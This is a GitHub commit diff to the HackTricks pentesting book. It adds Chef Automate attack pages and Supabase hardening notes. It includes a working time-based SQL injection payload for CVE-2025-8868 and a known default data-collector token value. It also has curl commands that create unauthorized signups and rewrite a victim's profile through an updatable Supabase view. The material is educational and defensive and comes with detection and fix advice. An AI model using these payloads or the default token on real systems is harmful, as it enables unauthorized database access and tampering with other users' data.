Skip to content

Commit 143e6bd

Browse files
committed
f
2 parents 9b52c79 + 8d39c38 commit 143e6bd

9 files changed

Lines changed: 612 additions & 8 deletions

File tree

src/SUMMARY.md

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -46,8 +46,10 @@
4646
- [Okta Hardening](pentesting-ci-cd/okta-security/okta-hardening.md)
4747
- [Serverless.com Security](pentesting-ci-cd/serverless.com-security.md)
4848
- [Supabase Security](pentesting-ci-cd/supabase-security.md)
49-
- [Ansible Tower / AWX / Automation controller Security](pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md)
49+
- [Check Automate Security](pentesting-ci-cd/chef-automate-security/README.md)
50+
- [Chef Automate Enumeration And Attacks](pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md)
5051
- [Vercel Security](pentesting-ci-cd/vercel-security.md)
52+
- [Ansible Tower / AWX / Automation controller Security](pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md)
5153
- [TODO](pentesting-ci-cd/todo.md)
5254

5355
# ⛈️ Pentesting Cloud
@@ -404,6 +406,7 @@
404406
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md)
405407
- [Azure Pentesting](pentesting-cloud/azure-security/README.md)
406408
- [Az - Basic Information](pentesting-cloud/azure-security/az-basic-information/README.md)
409+
- [Az Federation Abuse](pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md)
407410
- [Az - Tokens & Public Applications](pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md)
408411
- [Az - Enumeration Tools](pentesting-cloud/azure-security/az-enumeration-tools.md)
409412
- [Az - Unauthenticated Enum & Initial Entry](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md)
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
# Chef Automate Security
2+
3+
{{#include ../../banners/hacktricks-training.md}}
4+
5+
## What is Chef Automate
6+
7+
Chef Automate is a platform for infrastructure automation, compliance, and application delivery. It exposes a web UI (often Angular) that talks to backend gRPC services via a gRPC-Gateway, providing REST-like endpoints under paths such as /api/v0/.
8+
9+
- Common backend components: gRPC services, PostgreSQL (often visible via pq: error prefixes), data-collector ingest service
10+
- Auth mechanisms: user/API tokens and a data collector token header x-data-collector-token
11+
12+
## Enumeration & Attacks
13+
14+
{{#ref}}
15+
chef-automate-enumeration-and-attacks.md
16+
{{#endref}}
17+
18+
{{#include ../../banners/hacktricks-training.md}}
Lines changed: 150 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,150 @@
1+
# Chef Automate Enumeration & Attacks
2+
3+
{{#include ../../banners/hacktricks-training.md}}
4+
5+
## Overview
6+
7+
This page collects practical techniques to enumerate and attack Chef Automate instances, with emphasis on:
8+
- Discovering gRPC-Gateway-backed REST endpoints and inferring request schemas via validation/error responses
9+
- Abusing the x-data-collector-token authentication header when defaults are present
10+
- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) affecting the filters[].type field in /api/v0/compliance/profiles/search
11+
12+
> Note: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services.
13+
14+
## Recon: Architecture and Fingerprints
15+
16+
- Front-end: Often Angular. Static bundles can hint at REST paths (e.g., /api/v0/...)
17+
- API transport: REST to gRPC via gRPC-Gateway
18+
- Responses may include grpc-metadata-content-type: application/grpc
19+
- Database/driver fingerprints:
20+
- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
21+
- Interesting Compliance endpoints (auth required):
22+
- POST /api/v0/compliance/profiles/search
23+
- POST /api/v0/compliance/scanner/jobs/search
24+
25+
## Auth: Data Collector Token (x-data-collector-token)
26+
27+
Chef Automate exposes a data collector that authenticates requests via a dedicated header:
28+
29+
- Header: x-data-collector-token
30+
- Risk: Some environments may retain a default token granting access to protected API routes. Known default observed in the wild:
31+
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
32+
33+
If present, this token can be used to call Compliance API endpoints otherwise gated by auth. Always attempt to rotate/disable defaults during hardening.
34+
35+
## API Schema Inference via Error-Driven Discovery
36+
37+
gRPC-Gateway-backed endpoints often leak useful validation errors that describe the expected request model.
38+
39+
For /api/v0/compliance/profiles/search, the backend expects a body with a filters array, where each element is an object with:
40+
41+
- type: string (filter field identifier)
42+
- values: array of strings
43+
44+
Example request shape:
45+
46+
```json
47+
{
48+
"filters": [
49+
{ "type": "name", "values": ["test"] }
50+
]
51+
}
52+
```
53+
54+
Malformed JSON or wrong field types typically trigger 4xx/5xx with hints, and headers indicate the gRPC-Gateway behavior. Use these to map fields and localize injection surfaces.
55+
56+
## Compliance API SQL Injection (CVE-2025-8868)
57+
58+
- Affected endpoint: POST /api/v0/compliance/profiles/search
59+
- Injection point: filters[].type
60+
- Vulnerability class: time-based blind SQL injection in PostgreSQL
61+
- Root cause: Lack of proper parameterization/whitelisting when interpolating the type field into a dynamic SQL fragment (likely used to construct identifiers/WHERE clauses). Crafted values in type are evaluated by PostgreSQL.
62+
63+
Working time-based payload:
64+
65+
```json
66+
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
67+
```
68+
69+
Technique notes:
70+
- Close the original string with a single quote
71+
- Concatenate a subquery that calls pg_sleep(N)
72+
- Re-enter string context via || so the final SQL remains syntactically valid regardless of where type is embedded
73+
74+
### Proof via differential latency
75+
76+
Send paired requests and compare response times to validate server-side execution:
77+
78+
- N = 1 second
79+
80+
```
81+
POST /api/v0/compliance/profiles/search HTTP/1.1
82+
Host: <target>
83+
Content-Type: application/json
84+
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
85+
86+
{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
87+
```
88+
89+
- N = 5 seconds
90+
91+
```
92+
POST /api/v0/compliance/profiles/search HTTP/1.1
93+
Host: <target>
94+
Content-Type: application/json
95+
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
96+
97+
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
98+
```
99+
100+
Observed behavior:
101+
- Response times scale with pg_sleep(N)
102+
- HTTP 500 responses may include pq: details during probing, confirming SQL execution paths
103+
104+
> Tip: Use a timing validator (e.g., multiple trials with statistical comparison) to reduce noise and false positives.
105+
106+
### Impact
107+
108+
Authenticated users—or unauthenticated actors abusing a default x-data-collector-token—can execute arbitrary SQL within Chef Automate’s PostgreSQL context, risking confidentiality and integrity of compliance profiles, configuration, and telemetry.
109+
110+
### Affected versions / Fix
111+
112+
- CVE: CVE-2025-8868
113+
- Upgrade guidance: Chef Automate 4.13.295 or later (Linux x86) per vendor advisories
114+
115+
## Detection and Forensics
116+
117+
- API layer:
118+
- Monitor 500s on /api/v0/compliance/profiles/search where filters[].type contains quotes ('), concatenation (||), or function references like pg_sleep
119+
- Inspect response headers for grpc-metadata-content-type to identify gRPC-Gateway flows
120+
- Database layer (PostgreSQL):
121+
- Audit for pg_sleep calls and malformed identifier errors (often surfaced with pq: prefixes coming from the Go pq driver)
122+
- Authentication:
123+
- Log and alert on usage of x-data-collector-token, especially known default values, across API paths
124+
125+
## Mitigations and Hardening
126+
127+
- Immediate:
128+
- Rotate/disable default data collector tokens
129+
- Restrict ingress to data collector endpoints; enforce strong, unique tokens
130+
- Code-level:
131+
- Parameterize queries; never string-concatenate SQL fragments
132+
- Strictly whitelist allowed type values on the server (enum)
133+
- Avoid dynamic SQL assembly for identifiers/clauses; if dynamic behavior is required, use safe identifier quoting and explicit whitelists
134+
135+
## Practical Testing Checklist
136+
137+
- Check if x-data-collector-token is accepted and whether the known default works
138+
- Map the Compliance API request schema by inducing validation errors and reading error messages/headers
139+
- Test for SQLi in less obvious “identifier-like” fields (e.g., filters[].type), not just values arrays or top-level text fields
140+
- Use time-based techniques with concatenation to keep SQL syntactically valid across contexts
141+
142+
## References
143+
144+
- [Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)](https://xbow.com/blog/cooking-an-sql-injection-vulnerability-in-chef-automate)
145+
- [Timing trace (XBOW)](https://xbow-website.pages.dev/traces/chef-automate-sql-injection/)
146+
- [CVE-2025-8868](https://www.cve.org/CVERecord?id=CVE-2025-8868)
147+
- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway)
148+
- [pq PostgreSQL driver for Go](https://github.com/lib/pq)
149+
150+
{{#include ../../banners/hacktricks-training.md}}

src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -480,14 +480,18 @@ jobs:
480480
- run: ls tmp/checkout
481481
```
482482

483-
### Accessing AWS and GCP via OIDC
483+
### Accessing AWS, Azure and GCP via OIDC
484484

485485
Check the following pages:
486486

487487
{{#ref}}
488488
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
489489
{{#endref}}
490490

491+
{{#ref}}
492+
../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md
493+
{{#endref}}
494+
491495
{{#ref}}
492496
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
493497
{{#endref}}

src/pentesting-ci-cd/supabase-security.md

Lines changed: 116 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -127,6 +127,114 @@ This is a very bad idea because supabase charges per active user so people could
127127

128128
<figure><img src="../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
129129

130+
#### Auth: Server-side signup enforcement
131+
132+
Hiding the signup button in the frontend is not enough. If the **Auth server still allows signups**, an attacker can call the API directly with the public `anon` key and create arbitrary users.
133+
134+
Quick test (from an unauthenticated client):
135+
136+
```bash
137+
curl -X POST \
138+
-H "apikey: <SUPABASE_ANON_KEY>" \
139+
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
140+
-H "Content-Type: application/json" \
141+
-d '{"email":"attacker@example.com","password":"Sup3rStr0ng!"}' \
142+
https://<PROJECT_REF>.supabase.co/auth/v1/signup
143+
```
144+
145+
Expected hardening:
146+
- Disable email/password signups in the Dashboard: Authentication → Providers → Email → Disable sign ups (invite-only), or set the equivalent GoTrue setting.
147+
- Verify the API now returns 4xx to the previous call and no new user is created.
148+
- If you rely on invites or SSO, ensure all other providers are disabled unless explicitly needed.
149+
150+
## RLS and Views: Write bypass via PostgREST
151+
152+
Using a Postgres VIEW to “hide” sensitive columns and exposing it via PostgREST can change how privileges are evaluated. In PostgreSQL:
153+
- Ordinary views execute with the privileges of the view owner by default (definer semantics). In PG ≥15 you can opt into `security_invoker`.
154+
- Row Level Security (RLS) applies on base tables. Table owners bypass RLS unless `FORCE ROW LEVEL SECURITY` is set on the table.
155+
- Updatable views can accept INSERT/UPDATE/DELETE that are then applied to the base table. Without `WITH CHECK OPTION`, writes that don’t match the view predicate may still succeed.
156+
157+
Risk pattern observed in the wild:
158+
- A reduced-column view is exposed through Supabase REST and granted to `anon`/`authenticated`.
159+
- PostgREST allows DML on the updatable view and the operation is evaluated with the view owner’s privileges, effectively bypassing the intended RLS policies on the base table.
160+
- Result: low-privileged clients can mass-edit rows (e.g., profile bios/avatars) they should not be able to modify.
161+
162+
Illustrative write via view (attempted from a public client):
163+
164+
```bash
165+
curl -X PATCH \
166+
-H "apikey: <SUPABASE_ANON_KEY>" \
167+
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
168+
-H "Content-Type: application/json" \
169+
-H "Prefer: return=representation" \
170+
-d '{"bio":"pwned","avatar_url":"https://i.example/pwn.png"}' \
171+
"https://<PROJECT_REF>.supabase.co/rest/v1/users_view?id=eq.<victim_user_id>"
172+
```
173+
174+
Hardening checklist for views and RLS:
175+
- Prefer exposing base tables with explicit, least-privilege grants and precise RLS policies.
176+
- If you must expose a view:
177+
- Make it non-updatable (e.g., include expressions/joins) or deny `INSERT/UPDATE/DELETE` on the view to all untrusted roles.
178+
- Enforce `ALTER VIEW <v> SET (security_invoker = on)` so the invoker’s privileges are used instead of the owner’s.
179+
- On base tables, use `ALTER TABLE <t> FORCE ROW LEVEL SECURITY;` so even owners are subject to RLS.
180+
- If allowing writes via an updatable view, add `WITH [LOCAL|CASCADED] CHECK OPTION` and complementary RLS on base tables to ensure only allowed rows can be written/changed.
181+
- In Supabase, avoid granting `anon`/`authenticated` any write privileges on views unless you have verified end-to-end behavior with tests.
182+
183+
Detection tip:
184+
- From `anon` and an `authenticated` test user, attempt all CRUD operations against every exposed table/view. Any successful write where you expected denial indicates a misconfiguration.
185+
186+
### OpenAPI-driven CRUD probing from anon/auth roles
187+
188+
PostgREST exposes an OpenAPI document that you can use to enumerate all REST resources, then automatically probe allowed operations from low-privileged roles.
189+
190+
Fetch the OpenAPI (works with the public anon key):
191+
192+
```bash
193+
curl -s https://<PROJECT_REF>.supabase.co/rest/v1/ \
194+
-H "apikey: <SUPABASE_ANON_KEY>" \
195+
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
196+
-H "Accept: application/openapi+json" | jq '.paths | keys[]'
197+
```
198+
199+
Probe pattern (examples):
200+
- Read a single row (expect 401/403/200 depending on RLS):
201+
```bash
202+
curl -s "https://<PROJECT_REF>.supabase.co/rest/v1/<table>?select=*&limit=1" \
203+
-H "apikey: <SUPABASE_ANON_KEY>" \
204+
-H "Authorization: Bearer <SUPABASE_ANON_KEY>"
205+
```
206+
- Test UPDATE is blocked (use a non-existing filter to avoid altering data during testing):
207+
```bash
208+
curl -i -X PATCH \
209+
-H "apikey: <SUPABASE_ANON_KEY>" \
210+
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
211+
-H "Content-Type: application/json" \
212+
-H "Prefer: return=minimal" \
213+
-d '{"__probe":true}' \
214+
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
215+
```
216+
- Test INSERT is blocked:
217+
```bash
218+
curl -i -X POST \
219+
-H "apikey: <SUPABASE_ANON_KEY>" \
220+
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
221+
-H "Content-Type: application/json" \
222+
-H "Prefer: return=minimal" \
223+
-d '{"__probe":true}' \
224+
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>"
225+
```
226+
- Test DELETE is blocked:
227+
```bash
228+
curl -i -X DELETE \
229+
-H "apikey: <SUPABASE_ANON_KEY>" \
230+
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
231+
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
232+
```
233+
234+
Recommendations:
235+
- Automate the previous probes for both `anon` and a minimally `authenticated` user and integrate them in CI to catch regressions.
236+
- Treat every exposed table/view/function as a first-class surface. Don’t assume a view “inherits” the same RLS posture as its base tables.
237+
130238
### Passwords & sessions
131239

132240
It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\
@@ -160,7 +268,13 @@ It's possible to set an SMTP to send emails.
160268

161269
It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly).
162270

163-
{{#include ../banners/hacktricks-training.md}}
164-
271+
## References
165272

273+
- [Building Hacker Communities: Bug Bounty Village, getDisclosed’s Supabase Misconfig, and the LHE Squad (Ep. 133) – YouTube](https://youtu.be/NI-eXMlXma4)
274+
- [Critical Thinking Podcast – Episode 133 page](https://www.criticalthinkingpodcast.io/episode-133-building-hacker-communities-bug-bounty-village-getdisclosed-and-the-lhe-squad/)
275+
- [Supabase: Row Level Security (RLS)](https://supabase.com/docs/guides/auth/row-level-security)
276+
- [PostgreSQL: Row Security Policies](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)
277+
- [PostgreSQL: CREATE VIEW (security_invoker, check option)](https://www.postgresql.org/docs/current/sql-createview.html)
278+
- [PostgREST: OpenAPI documentation](https://postgrest.org/en/stable/references/api.html#openapi-documentation)
166279

280+
{{#include ../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -100,6 +100,10 @@ aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/
100100

101101
AWS IAM RolesAnywhere allows workloads outside AWS to assume IAM roles using X.509 certificates. But when trust policies aren't properly scoped, they can be abused for privilege escalation.
102102

103+
To understand this attack, it is necessary to explain what a trust anchor is. A trust anchor in AWS IAM Roles Anywhere is the root of trust entity, it contains the public certificate of a Certificate Authority (CA) that is registered in the account so that AWS can validate the presented X.509 certificates. In this way, if the client certificate was issued by that CA and the trust anchor is active, AWS recognizes it as valid.
104+
105+
In addition, a profile is the configuration that defines which attributes of the X.509 certificate (such as CN, OU, or SAN) will be transformed into session tags, and these tags will later be compared against the conditions of the trust policy.
106+
103107
This policy lacks restrictions on which trust anchor or certificate attributes are allowed. As a result, any certificate tied to any trust anchor in the account can be used to assume this role.
104108

105109
```json
@@ -135,11 +139,11 @@ aws_signing_helper credential-process \
135139
--role-arn arn:aws:iam::123456789012:role/Admin
136140
```
137141

138-
The trust anchor validates that the client certificate `readonly.pem` comes from its authorized CA, when the trust anchor was created the CA’s public certificate was included (and now used to validate `readonly.pem`). Inside `readonly.pem` is the public key, which AWS uses to verify that the signature was made with its corresponding private key `readonly.key`.
142+
The trust anchor validates that the client’s `readonly.pem` certificate comes from its authorized CA, and within this `readonly.pem` certificate is the public key that AWS uses to verify that the signature was made with its corresponding private key `readonly.key`.
139143

140-
The certificate also proves identity and provides attributes (such as CN or OU) that the `default` profile transforms into tags, which the role’s trust policy can use to decide whether to authorize access, if there are no conditions in the trust policy, those tags are ignored and anyone with a valid certificate is allowed through.
144+
The certificate also provides attributes (such as CN or OU) that the `default` profile transforms into tags, which the role’s trust policy can use to decide whether to authorize access. If there are no conditions in the trust policy, those tags have no use, and access is granted to anyone with a valid certificate.
141145

142-
For this attack to be possible, both the trust anchor and the default profile must be active.
146+
For this attack to be possible, both the trust anchor and the `default` profile must be active.
143147

144148
### References
145149

0 commit comments

Comments
 (0)